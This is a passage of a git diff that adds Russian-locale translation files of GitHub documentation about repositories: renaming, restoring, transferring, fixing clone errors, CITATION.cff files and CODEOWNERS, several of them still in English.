diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/renaming-a-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/renaming-a-repository.md new file mode 100644 index 000000000000..4d3fcdb33322 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/renaming-a-repository.md @@ -0,0 +1,60 @@ +--- +title: Переименование репозитория +intro: 'Вы можете переименовать любой репозиторий, если вы являетесь владельцем организации или имеете права администратора для репозитория.' +redirect_from: + - /articles/renaming-a-repository + - /github/administering-a-repository/renaming-a-repository + - /github/administering-a-repository/managing-repository-settings/renaming-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: d0067d96dce2f2cf9fe8bb2dd519668780d861ff +ms.sourcegitcommit: bd8b3e152f17d90acf222a0d50ba9595184c1f5f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148111676' +--- +При переименовании репозитория все существующие сведения, за исключением URL-адресов сайта проекта, автоматически перенаправляются на новое имя, в том числе: + +* Проблемы +* Вики +* Звезды +* Подписчики + +Дополнительные сведения о сайтах проектов см. в разделе [Сведения о {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). + +Помимо перенаправления веб-трафика все операции `git clone`, `git fetch` или `git push`, предназначенные для предыдущего расположения, будет продолжать выполняться в новом расположении. Однако во избежание путаницы настоятельно рекомендуется обновить все существующие локальные клоны, указав новый URL-адрес репозитория. Для этого можно выполнить в командной строке команду `git remote`: + +```shell +$ git remote set-url origin NEW_URL +``` + +Дополнительные сведения см. в разделе [Управление удаленными репозиториями](/github/getting-started-with-github/managing-remote-repositories). + +{% ifversion fpt or ghec %} + +Если вы планируете переименовать репозиторий с сайтом {% data variables.product.prodname_pages %}, рекомендуется использовать личный домен для сайта. Это гарантирует, что переименование не повлияет на URL-адрес сайта. Дополнительные сведения см. в разделе [Сведения о личных доменах и сайте {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages). + +{% endif %} + +{% note %} + +**Примечание.** {% data variables.product.prodname_dotcom %} не перенаправляет вызовы действию, размещенному в переименованном репозитории. Любой рабочий процесс, использующий это действие, завершится ошибкой `repository not found`. Вместо этого создайте репозиторий и действие с новым именем и заархивируйте старый репозиторий. Дополнительные сведения см. в разделе [Архивирование репозиториев](/repositories/archiving-a-github-repository/archiving-repositories). + +{% endnote %} + +{% warning %} + +**Предупреждение.** Если вы создадите новый репозиторий в учетной записи в будущем, не используйте исходное имя переименованного репозитория, В этом случае перенаправления в переименованный репозиторий больше не будут работать. + +{% endwarning %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе **Имя репозитория** введите новое имя репозитория. + ![Переименование репозитория](/assets/images/help/repository/repository-name-change.png) +4. Выберите **Переименовать**. Готово! diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md new file mode 100644 index 000000000000..86cdc8a07504 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md @@ -0,0 +1,56 @@ +--- +title: Restoring a deleted repository +intro: '{% ifversion ghes or ghae %}An enterprise owner{% elsif fpt or ghec %}You{% endif %} can restore some deleted repositories to recover their contents.' +permissions: '{% ifversion ghes or ghae %}{% elsif fpt or ghec %}Anyone can restore deleted repositories that were owned by their own personal account. Organization owners can restore deleted repositories that were owned by the organization.{% endif %}' +redirect_from: + - /articles/restoring-a-deleted-repository + - /github/administering-a-repository/restoring-a-deleted-repository + - /github/administering-a-repository/managing-repository-settings/restoring-a-deleted-repository +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Repositories +shortTitle: Restore deleted repository +--- + +{% ifversion ghes or ghae %} + +Usually, deleted repositories can be restored within 90 days by an enterprise owner{% ifversion ghes %} on {% data variables.location.product_location %}{% endif %}. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." + +{% else %} + +## About repository restoration + +A deleted repository can be restored within 90 days, unless the repository was part of a fork network that is not currently empty. A fork network consists of a parent repository, the repository's forks, and forks of the repository's forks. If your repository was part of a fork network, it cannot be restored unless every other repository in the network is deleted or has been detached from the network. For more information about forks, see "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)." + +If you want to restore a repository that was part of a fork network that is not currently empty, you can contact {% data variables.contact.contact_support %}. + +It can take up to an hour after a repository is deleted before that repository is available for restoration. + +Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled. + +## Restoring a deleted repository that was owned by a personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.repo-tab %} +{% data reusables.user-settings.deleted-repos %} +{% data reusables.user-settings.restore-repo %} +{% data reusables.user-settings.restore-confirmation %} + +## Restoring a deleted repository that was owned by an organization + + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.deleted-repos %} +{% data reusables.user-settings.restore-repo %} +{% data reusables.user-settings.restore-confirmation %} + +## Further reading + +- "[Deleting a repository](/articles/deleting-a-repository)" + +{% endif %} diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/transferring-a-repository.md new file mode 100644 index 000000000000..85a6ef7f2bd5 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/transferring-a-repository.md @@ -0,0 +1,91 @@ +--- +title: Transferring a repository +intro: You can transfer repositories to other users or organization accounts. +redirect_from: + - /articles/about-repository-transfers + - /move-a-repo + - /moving-a-repo + - /articles/what-is-transferred-with-a-repository + - /articles/what-is-transferred-with-a-repo + - /articles/how-to-transfer-a-repo + - /articles/how-to-transfer-a-repository + - /articles/transferring-a-repository-owned-by-your-personal-account + - /articles/transferring-a-repository-owned-by-your-organization + - /articles/transferring-a-repository + - /github/administering-a-repository/transferring-a-repository + - /github/administering-a-repository/managing-repository-settings/transferring-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +## About repository transfers + +When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, {% data variables.product.prodname_projects_v1 %}, and settings. + +Prerequisites for repository transfers: +- When you transfer a repository that you own to another personal account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %} +- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization. +- The target account must not have a repository with the same name, or a fork in the same network. +- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghes < 3.7 or ghae %} +- Internal repositories can't be transferred.{% endif %} +- Private forks can't be transferred. +{%- ifversion ghec %} +- You cannot transfer an internal repository from an organization owned by one enterprise account to an organization owned by a different enterprise account. +{%- endif %} + +{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %} + +### What's transferred with a repository? + +When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition: + +- If the transferred repository is a fork, then it remains associated with the upstream repository. +- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete. +- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for personal accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %} +- When a repository is transferred between two personal accounts, issue assignments are left intact. When you transfer a repository from a personal account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a personal account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed. +- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository. +- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line: + + ```shell + $ git remote set-url origin NEW_URL + ``` + + {% warning %} + + **Warning**: If you create a new repository under your account in the future, do not reuse the original name of the transferred repository. If you do, redirects to the transferred repository will no longer work. + + {% endwarning %} + +- When you transfer a repository from an organization to a personal account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a personal account. For more information about repository permission levels, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."{% ifversion fpt or ghec %} +- Sponsors who have access to the repository through a sponsorship tier may be affected. For more information, see "[Adding a repository to a sponsorship tier](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers#adding-a-repository-to-a-sponsorship-tier)".{% endif %} + +For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." + +### Repository transfers and organizations + +To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization. + +Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository. + +## Transferring a repository owned by your personal account + +You can transfer your repository to any personal account that accepts your repository transfer. When a repository is transferred between two personal accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository. + +{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.transfer-repository-steps %} + +## Transferring a repository owned by your organization + +If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your personal account or to another organization. + +1. Sign into your personal account that has admin or owner permissions in the organization that owns the repository. +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.transfer-repository-steps %} diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md new file mode 100644 index 000000000000..21b3f9b46bcf --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md @@ -0,0 +1,186 @@ +--- +title: Troubleshooting cloning errors +intro: 'If you''re having trouble cloning a repository, check these common errors.' +redirect_from: + - /articles/error-the-requested-url-returned-error-403 + - /articles/error-the-requested-url-returned-error-401 + - /articles/error-did-you-run-git-update-server-info-on-the-server + - /articles/error-the-requested-url-returned-error-403-while-accessing-https-github-com-user-repo-git-info-refs + - /articles/https-cloning-errors + - /github/creating-cloning-and-archiving-repositories/https-cloning-errors + - /articles/error-repository-not-found + - /github/creating-cloning-and-archiving-repositories/error-repository-not-found + - /articles/error-remote-head-refers-to-nonexistent-ref-unable-to-checkout + - /github/creating-cloning-and-archiving-repositories/error-remote-head-refers-to-nonexistent-ref-unable-to-checkout +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- + +## HTTPS cloning errors + +There are a few common errors when using HTTPS with Git. These errors usually indicate you have an old version of Git, or you don't have access to the repository. + +Here's an example of an HTTPS error you might receive: + +```shell +> error: The requested URL returned error: 401 while accessing +> https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs?service=git-receive-pack +> fatal: HTTP request failed +``` + +```shell +> Error: The requested URL returned error: 403 while accessing +> https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs +> fatal: HTTP request failed +``` + +```shell +> Error: https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs not found: did you run git +> update-server-info on the server? +``` + +### Check your Git version + +There's no minimum Git version necessary to interact with {% data variables.product.product_name %}, but we've found version 1.7.10 to be a comfortable stable version that's available on many platforms. You can always [download the latest version on the Git website](https://git-scm.com/downloads). + +### Ensure the remote is correct + +The repository you're trying to fetch must exist on {% data variables.location.product_location %}, and the URL is case-sensitive. + +You can find the URL of the local repository by opening the command line and +typing `git remote -v`: + +```shell +$ git remote -v +# View existing remotes +> origin https://github.com/ghost/reactivecocoa.git (fetch) +> origin https://github.com/ghost/reactivecocoa.git (push) + +$ git remote set-url origin https://github.com/ghost/ReactiveCocoa.git +# Change the 'origin' remote's URL + +$ git remote -v +# Verify new remote URL +> origin https://github.com/ghost/ReactiveCocoa.git (fetch) +> origin https://github.com/ghost/ReactiveCocoa.git (push) +``` + +Alternatively, you can change the URL through our +[{% data variables.product.prodname_desktop %}](https://desktop.github.com/) application. + +### Provide an access token + +To access {% data variables.product.prodname_dotcom %}, you must authenticate with a {% data variables.product.pat_generic %} instead of your password. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +{% data reusables.command_line.provide-an-access-token %} + +### Check your permissions + +When prompted for a username and password, make sure you use an account that has access to the repository. + +{% tip %} + +**Tip**: If you don't want to enter your credentials every time you interact with the remote repository, you can turn on [credential caching](/github/getting-started-with-github/caching-your-github-credentials-in-git). If you are already using credential caching, please make sure that your computer has the correct credentials cached. Incorrect or out of date credentials will cause authentication to fail. + +{% endtip %} + +### Use SSH instead + +If you've previously set up SSH keys, you can use the SSH clone URL instead of HTTPS. For more information, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + +## Error: Repository not found + +{% ifversion fpt or ghae or ghec %}If you see this error when cloning a repository, it means that the repository does not exist or you do not have permission to access it.{% else %}If you see this error when cloning a repository, it means that the repository does not exist, you do not have permission to access it, or {% data variables.location.product_location %} is in private mode.{% endif %} There are a few solutions to this error, depending on the cause. + +### Check your spelling + +Typos happen, and repository names are case-sensitive. If you try to clone `git@{% data variables.command_line.codeblock %}:user/repo.git`, but the repository is really named `User/Repo` you will receive this error. + +To avoid this error, when cloning, always copy and paste the clone URL from the repository's page. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." + +To update the remote on an existing repository, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)". + +### Checking your permissions + +If you are trying to clone a private repository but do not have permission to view the repository, you will receive this error. + +Make sure that you have access to the repository in one of these ways: + +* The owner of the repository +* A [collaborator](/articles/inviting-collaborators-to-a-personal-repository) on the repository +* A [member of a team](/articles/adding-organization-members-to-a-team) that has access to the repository (if the repository belongs to an organization) + +### Check your SSH access + +In rare circumstances, you may not have the proper SSH access to a repository. + +You should ensure that the SSH key you are using is attached to your personal account on {% data variables.product.product_name %}. You can check this by typing +the following into the command line: + +```shell +$ ssh -T git@{% data variables.command_line.codeblock %} +> Hi USERNAME! You've successfully authenticated, but GitHub does not +> provide shell access. +``` + +{% ifversion fpt or ghec %} +If the repository belongs to an organization and you're using an SSH key generated by an OAuth App, OAuth App access may have been restricted by an organization owner. For more information, see "[About OAuth App access restrictions](/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions)." +{% endif %} + +For more information, see [Adding a new SSH key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account). + +{% ifversion ghes %} +### Check if your instance is in private mode + +If your site administrator has enabled private mode on your GitHub Enterprise instance, anonymous clones over `git://` will be disabled. If you are unable to clone a repository, contact your site administrator. +{% endif %} + +### Check that the repository really exists + +If all else fails, make sure that the repository really exists on {% data variables.location.product_location %}! +If you're trying to push to a repository that doesn't exist, you'll get this error. + +## Error: Remote HEAD refers to nonexistent ref, unable to checkout + +This error occurs if the default branch of a repository has been deleted on {% data variables.location.product_location %}. + +Detecting this error is simple; Git will warn you when you try to clone the repository: + +```shell +$ git clone https://{% data variables.command_line.codeblock %}/USER/REPO.git +# Clone a repo +> Cloning into 'repo'... +> remote: Counting objects: 66179, done. +> remote: Compressing objects: 100% (15587/15587), done. +> remote: Total 66179 (delta 46985), reused 65596 (delta 46402) +> Receiving objects: 100% (66179/66179), 51.66 MiB | 667 KiB/s, done. +> Resolving deltas: 100% (46985/46985), done. +> warning: remote HEAD refers to nonexistent ref, unable to checkout. +``` + +To fix the error, you'll need to be an administrator of the repository on {% data variables.location.product_location %}. +You'll want to [change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository. + +After that, you can get a list of all the available branches from the command line: + +```shell +$ git branch -a +# Lists ALL the branches +> remotes/origin/awesome +> remotes/origin/more-work +> remotes/origin/new-main +``` + +Then, you can just switch to your new branch: + +```shell +$ git checkout new-main +# Create and checkout a tracking branch +> Branch new-main set up to track remote branch new-main from origin. +> Switched to a new branch 'new-main' +``` diff --git a/translations/ru-RU/content/repositories/index.md b/translations/ru-RU/content/repositories/index.md new file mode 100644 index 000000000000..4180c424a565 --- /dev/null +++ b/translations/ru-RU/content/repositories/index.md @@ -0,0 +1,49 @@ +--- +title: Репозитории +intro: 'Узнайте, как использовать и управлять репозиториями, которые позволяют хранить и совместно работать над кодом проекта.' +introLinks: + quickstart: /get-started/quickstart/create-a-repo + overview: /repositories/creating-and-managing-repositories/about-repositories +featuredLinks: + guides: + - /repositories/creating-and-managing-repositories/cloning-a-repository + - /repositories/creating-and-managing-repositories/restoring-a-deleted-repository + - /repositories/working-with-files/managing-files/adding-a-file-to-a-repository + - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository + popular: + - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches + - /repositories/releasing-projects-on-github/about-releases + - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes + - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners + guideCards: + - /repositories/creating-and-managing-repositories/deleting-a-repository + - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule + - /repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility +changelog: + label: repos +layout: product-landing +redirect_from: + - /github/creating-cloning-and-archiving-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /creating-and-managing-repositories + - /managing-your-repositorys-settings-and-features + - /configuring-branches-and-merges-in-your-repository + - /working-with-files + - /releasing-projects-on-github + - /viewing-activity-and-data-for-your-repository + - /archiving-a-github-repository +ms.openlocfilehash: 8644edb5a572bedc1bd2e032f43e964be6a068f5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136859' +--- + diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md new file mode 100644 index 000000000000..9fd71dd4e840 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md @@ -0,0 +1,185 @@ +--- +title: Сведения о файлах CITATION +intro: 'Можно добавить в репозиторий файл CITATION, чтобы помочь пользователям правильно цитировать программное обеспечение.' +redirect_from: + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: 96e5e7308ba5d1877f231dcb454d7b797a63f221 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108973' +--- +## Сведения о файлах CITATION + +Вы можете добавить файл `CITATION.cff` в корень репозитория, чтобы сообщить другим пользователям, как им следует ссылаться на вашу работу. Файл ссылки содержит обычный текст с данными ссылки, доступные для чтения человеком и компьютером. + +Пример файла `CITATION.cff`: + +``` +cff-version: 1.2.0 +message: "If you use this software, please cite it as below." +authors: +- family-names: "Lisa" + given-names: "Mona" + orcid: "https://orcid.org/0000-0000-0000-0000" +- family-names: "Bot" + given-names: "Hew" + orcid: "https://orcid.org/0000-0000-0000-0000" +title: "My Research Software" +version: 2.0.4 +doi: 10.5281/zenodo.1234 +date-released: 2017-12-18 +url: "https://github.com/github/linguist" +``` + +Запрос на ссылку GitHub в репозитории будет отображать пример содержимого `CITATION.cff` в следующих форматах: + +**APA** + +``` +Lisa, M., & Bot, H. (2017). My Research Software (Version 2.0.4) [Computer software]. https://doi.org/10.5281/zenodo.1234 +``` + +**BibTeX** + +{% raw %} +``` +@software{Lisa_My_Research_Software_2017, + author = {Lisa, Mona and Bot, Hew}, + doi = {10.5281/zenodo.1234}, + month = {12}, + title = {{My Research Software}}, + url = {https://github.com/github/linguist}, + version = {2.0.4}, + year = {2017} +} +``` +{% endraw %} + +В приведенном выше примере создается ссылка на _программное обеспечение_ (т. е. тип `@software` в BibTeX, а не `@article`). + +Дополнительные сведения см. на веб-сайте [Формат файла ссылки](https://citation-file-format.github.io/). + +При добавлении файла `CITATION.cff` в ветвь репозитория по умолчанию она автоматически связывается с целевой страницей репозитория. Это позволяет другим пользователям легко ссылаться на проект программного обеспечения, используя предоставленные сведения. + +![Гиперссылка на ссылку на целевой странице репозитория](/assets/images/help/repository/citation-link.png) + +## Ссылка на что-то, кроме программного обеспечения + +Если вы предпочитаете ссылку на {% data variables.product.prodname_dotcom %}, чтобы указать на другой ресурс, например научную статью, можно использовать переопределение `preferred-citation` в CFF со следующими типами. + +| Ресурс | Тип CFF | Тип BibTeX | Аннотация APA | +|----------|----------|-------------|----------------| +| Статья/доклад в научном журнале | `article` | `@article` | | +| Book | `book` | `@book` | | +| Брошюра (в переплете, но не опубликованная) | `pamphlet` | `@booklet` | | +| Статья/доклад на конференции | `conference-paper` | `@inproceedings` | [Доклад на конференция] | +| Сборник докладов на конференции | `conference`, `proceedings` | `@proceedings` | | +| Набор данных | `data`, `database` | `@misc` | [Набор данных] | +| Статья в журнале | `magazine-article` | `@article` | | +| Вручную | `manual` | `@manual` | | +| Разное/другое | `generic`, любой другой тип CFF | `@misc` | | +| Статья в газете | `newspaper-article` | `@article` | | +| Программное обеспечение | `software`, `software-code`, `software-container`, `software-executable`, `software-virtual-machine` | `@software` | [Компьютерное программное обеспечение] | +| Отчет или технический отчет | `report` | `@techreport` | | +| не опубликована | `unpublished` | `@unpublished` | | + +Расширенный файл CITATION.cff, описывающий программное обеспечение, но ссылающийся на научную статью в качестве источника: + +``` +cff-version: 1.2.0 +message: "If you use this software, please cite it as below." +authors: +- family-names: "Lisa" + given-names: "Mona" + orcid: "https://orcid.org/0000-0000-0000-0000" +- family-names: "Bot" + given-names: "Hew" + orcid: "https://orcid.org/0000-0000-0000-0000" +title: "My Research Software" +version: 2.0.4 +doi: 10.5281/zenodo.1234 +date-released: 2017-12-18 +url: "https://github.com/github/linguist" +preferred-citation: + type: article + authors: + - family-names: "Lisa" + given-names: "Mona" + orcid: "https://orcid.org/0000-0000-0000-0000" + - family-names: "Bot" + given-names: "Hew" + orcid: "https://orcid.org/0000-0000-0000-0000" + doi: "10.0000/00000" + journal: "Journal Title" + month: 9 + start: 1 # First page number + end: 10 # Last page number + title: "My awesome research software" + issue: 1 + volume: 1 + year: 2021 +``` + +Приведенный выше пример файла `CITATION.cff` создаст следующие выходные данные в запросе ссылки GitHub: + +**APA** + +``` +Lisa, M., & Bot, H. (2021). My awesome research software. Journal Title, 1(1), 1. https://doi.org/10.0000/00000 +``` + +**BibTeX** + +{% raw %} +``` +@article{Lisa_My_awesome_research_2021, + author = {Lisa, Mona and Bot, Hew}, + doi = {10.0000/00000}, + journal = {Journal Title}, + month = {9}, + number = {1}, + pages = {1--10}, + title = {{My awesome research software}}, + volume = {1}, + year = {2021} +} +``` +{% endraw %} + +## Ссылка на набор данных + +Если репозиторий содержит набор данных, можно задать `type: dataset` на верхнем уровне файла `CITATION.cff`, чтобы создать выходные данные строки ссылки на данные в запросе ссылки {% data variables.product.prodname_dotcom %}. + +## Другие файлы ссылки + +Функция ссылок на GitHub также обнаружит небольшое количество дополнительных файлов, которые часто используются сообществами и проектами для описания того, как следует ссылаться на их работу. + +GitHub будет ссылаться на эти файлы в запросе _Сослаться на этот репозиторий_, но не будет пытаться проанализировать их в других форматах ссылок. + +``` +# Note these are case-insensitive and must be in the root of the repository +CITATION +CITATIONS +CITATION.bib +CITATIONS.bib +CITATION.md +CITATIONS.md + +# CITATION files for R packages are typically found at inst/CITATION +inst/CITATION +``` + +## Форматы ссылок + +В настоящее время поддерживаются форматы файлов APA и BibTex. + +Ищете дополнительные форматы ссылок? GitHub использует библиотеку Ruby для анализа файлов `CITATION.cff`. Вы можете запросить дополнительные форматы в репозитории [ruby-cff](https://github.com/citation-file-format/ruby-cff) или внести свой вклад. diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md new file mode 100644 index 000000000000..d3212418a86c --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md @@ -0,0 +1,136 @@ +--- +title: About code owners +intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository. +redirect_from: + - /articles/about-codeowners + - /articles/about-code-owners + - /github/creating-cloning-and-archiving-repositories/about-code-owners + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-code-owners +product: '{% data reusables.gated-features.code-owners %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +People with admin or owner permissions can set up a CODEOWNERS file in a repository. + +The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. + +## About code owners + +Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)." + +When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)." + +If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}. + +![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png) + +## CODEOWNERS file location + +To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners. + +Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch. + +For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`. + +## CODEOWNERS file size + +CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. + +To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. + +## CODEOWNERS syntax + +{% warning %} + +**Warning:** There are some syntax rules for gitignore files that *do not work* in CODEOWNERS files: +- Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment +- Using `!` to negate a pattern +- Using `[ ]` to define a character range + +{% endwarning %} + +A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files. The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users and teams must have explicit `write` access to the repository, even if the team's members already have access. + +{% ifversion fpt or ghec%}In most cases, you{% else %}You{% endif %} can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, for example `user@example.com`. {% ifversion fpt or ghec %} You cannot use an email address to refer to a {% data variables.enterprise.prodname_managed_user %}. For more information about {% data variables.enterprise.prodname_managed_users %}, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users){% ifversion fpt %}" in the {% data 